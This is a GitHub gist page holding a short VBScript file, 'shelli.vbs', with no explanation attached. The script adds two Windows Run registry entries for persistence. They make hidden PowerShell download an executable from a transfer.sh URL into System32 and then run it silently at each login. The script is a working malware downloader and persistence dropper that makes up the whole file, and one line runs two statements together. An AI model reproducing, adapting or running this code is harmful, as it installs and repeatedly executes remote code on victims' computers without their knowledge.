Skip to content

Instantly share code, notes, and snippets.

@FatihDurmus

FatihDurmus/shelli.vbs

Created March 27, 2021 13:48
Show Gist options
  • Save FatihDurmus/ed070ece00ad1642e00c4eb0f8eb839e to your computer and use it in GitHub Desktop.
Save FatihDurmus/ed070ece00ad1642e00c4eb0f8eb839e to your computer and use it in GitHub Desktop.
Download ZIP
Raw
shelli.vbs
Set ObjOL = CreateObject("Outlook.Application")
Set WshShell = CreateObject("WScript.Shell")Set WshShellExec = WshShell.Exec("cmd /MIN /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ /v registry_dosya_adi_t /t REG_EXPAND_SZ /d ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Start-Process -WindowStyle hidden (New-Object System.Net.WebClient).DownloadFile('http://transfer.sh/get/HZRcD/exet.exe', 'C:\Windows\System32\dosya_exe.exe') "" /F")
Set WshShell2 = CreateObject("WScript.Shell")
Set WshShellExec = WshShell.Exec("cmd /MIN /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ /v registry_dosya_adi /t REG_EXPAND_SZ /d ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Process -WindowStyle hidden -FilePath C:\Windows\System32\dosya_exe.exe "" /F")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment